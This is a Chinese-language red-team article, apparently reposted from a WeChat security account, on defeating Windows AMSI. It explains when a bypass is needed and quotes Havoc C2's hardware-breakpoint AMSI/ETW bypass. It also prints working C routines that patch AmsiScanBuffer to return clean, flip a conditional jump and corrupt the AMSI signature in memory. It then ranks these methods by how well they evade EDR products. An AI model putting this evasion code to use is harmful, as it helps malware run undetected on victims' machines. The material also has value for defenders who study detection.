随意控制你的AMSI

admin 2025-12-22 04:23:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了AMSI(反恶意软件扫描接口)的工作原理及多种绕过技术,包括修补内存区域、阻止DLL加载和硬件断点等方法。文章指出AMSI绕过主要在PowerShell执行或内存加载.NET时才需要,并提供了Havoc框架处理AMSI的逻辑示例。作者认为硬件断点方法更隐蔽,不易被EDR检测,是当前较为有效的AMSI绕过方案。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,安全工具,免杀


cover_image

随意控制你的AMSI

巡音安全

2025年10月10日 15:39 广西

反恶意软件扫描接口 (AMSI)最为对于powershell和.net程序集的检测尤为重要,本文旨在总结AMSI bypass的方法以及效果

什么时候需要绕过 AMSI?

现在绝大多少的Shellcode加载器都会添加ByPass AMSI的功能,并且指出通过ByPass AMSI or ETW就可以绕过检测,执行所谓的shellcode,对于我们来说ByPass AMSI对shellcode的执行无关紧要

如果你的C2框架有对应BOF 或 COFF执行的功能,添加ByPass AMSI的功能毫无意义,反而有可能因此添加更多的IOC

在我们使用bof加载时,无需处理amsi,defender依旧不会告警

只有Powershell 中的 Invoke-Expression或者执行内存加载.net时我们才需要处理amsi

参考Havoc处理AMSI的逻辑

只有在内存加载时才处理AMSI以做到更好的规避性

https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Dotnet.c

#if _WIN64
        PUTS( "Try to patch(less) Amsi/Etw" )

        PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );
        PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );

        /* check if Amsi is loaded */
        AmsiIsLoaded = TRUE;
        if ( ! Instance->Modules.Amsi ) {
            AmsiIsLoaded = RtAmsi();
        }

        PUTS( "Init HwBp Engine" )
        /* use global engine */
        if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {
            return FALSE;
        }

        ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );

        /* add Amsi bypass */
        if ( AmsiIsLoaded )
        {
            PUTS( "HwBp Engine add AmsiScanBuffer bypass" )
            if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {
                PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
                return FALSE;
            }
        }

        /* add Etw bypass */
        PUTS( "HwBp Engine add NtTraceEvent bypass" )
        if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {
            PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
            return FALSE;
        }

        PackageTransmit( PackageInfo );
        PackageInfo = NULL;
#endif

跟踪代码可以大致看到Havoc处理AMSI的逻辑

在内存中直接修改 amsi.dll 的关键函数(如 AmsiScanBuffer 或 AmsiOpenSession),使其返回“干净”(clean)结果,从而绕过扫描

HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
    FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (pAmsiScanBuffer) {

        DWORD oldProtect;
        VirtualProtect((LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

        *(BYTE*)pAmsiScanBuffer = 0xB0;  // mov al, 0x1
        *(BYTE*)((BYTE*)pAmsiScanBuffer + 1) = 0x01;
        *(BYTE*)((BYTE*)pAmsiScanBuffer + 2) = 0xC3;  // ret
        VirtualProtect((LPVOID)pAmsiScanBuffer, 1, oldProtect, &oldProtect);
    }

言归正传,让我们看一看AMSI的实现原理以及绕过手法

AMSI 的工作原理

  • AMSI DLL (amsi.dll)

    : 提供核心接口和函数,位于 C:\Windows\System32\amsi.dll。

  • 防病毒引擎

    : 如 Windows Defender 或第三方 AV/EDR(如 CrowdStrike、Symantec),通过 AMSI 与操作系统集成。

  • 应用程序或运行时

    : 支持 AMSI 的应用程序(如 PowerShell、VBScript、.NET CLR、WScript 等)会调用 AMSI 函数。

我更倾向于认为AMSI 主要是基于签名的检测。与传统的基于签名的检测的主要区别在于,这些签名是在运行时查找的,只有从内存中加载了潜在的恶意内容才会触发AMSI的扫描

如何绕过

  • 修补内存区域
  • 使用向量异常处理程序和硬件断点等来操纵工作流程
  • 创建新进程,并通过各种方式阻止相关 DLL 加载

让我们来探讨第一种修补内存的方式

这里主要由两种方式来实现来实现

修补 AmsiOpenSession

BOOL PatchAmsiScanBufferJe(IN PBYTE pAmsiScanBuffer) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;

    if (!pAmsiScanBuffer)
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pAmsiScanBuffer[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
            break;
        i++;
    }

    // Searching upwards for the first 'je' instruction
    while (i) {

        if (pAmsiScanBuffer[i] == x64_JE_INSTRUCTION_OPCODE) {
            px74Opcode = &pAmsiScanBuffer[i];
            break;
        }

        i--;
    }

    if (!px74Opcode)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch
    *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;

    // Change memory permissions to original
    if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

修补 AMSI 上下文结构

BOOL PatchAmsiSignature(IN PBYTE pAmsiFunc) {

    PBYTE      px74Opcode         = NULL;
    DWORD      i                  = 0x00,
               dwOldProtection    = 0x00;

    if (!pAmsiFunc)
        return FALSE;

    // A while-loop to find the last 'ret' instruction
    while (1) {
        if (pAmsiFunc[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiFunc[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiFunc[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
            break;
        i++;
    }

    // Searching again for the amsi signature address
    for (DWORD x = 0; x < i; x++){
        if (*(ULONG*)(pAmsiFunc + x) == AMSI_SIGNATURE) {
            pAmsiSignature = &pAmsiFunc[x];
            break;
        }
    }

    if (!pAmsiSignature)
        return FALSE;

    // Change memory permissions to RWX
    if (!VirtualProtect(pAmsiSignature, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
        return FALSE;

    // Apply the patch - Replacing the first byte in the original signature to a random byte
    *(BYTE*)pAmsiSignature = 0x43;

    // Change memory permissions to original
    if (!VirtualProtect(pAmsiSignature, 0x01, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

但是无一例外都有VirtualProtect的调用

像如 CrowdStrike、Microsoft Defender for Endpoint这类高端edr都可以通过行为分析、内存扫描或异常调用检测(对于 VirtualProtect 使用)识别修补行为从而阻止patch的发生

创建新进程,并通过各种方式阻止相关 DLL 加载

这种方式对于beacon来说并不怎么友好

EDR可能监控 SetDefaultDllDirectories

硬件断点结合返回值修改

内存修补限制的发现引发了安全社区对替代方法的兴趣,硬件断点成为一种引人注目的解决方案。这些断点具有显着的优势:它们在用户空间中运行,无需规避钩子,保持目标 DLL(如 amsi.dll)的完整性,并且对于寻找作的典型内存扫描程序保持不可见。根据我自己的实践经验,我注意到很少有 AV 或 EDR 供应商能够检测在运行时通过硬件断点实现的 AMSI 绕过。这可能是由于它们的有效性,也可能是因为此类检测在实践中很少见。

我们可以在运行powershell和.net程序集时先通过硬件断点hook返回值然后执行

结束后通过unhook恢复挂钩达到更好的规避性


查看原文:《随意控制你的AMSI》

评论:0   参与:  2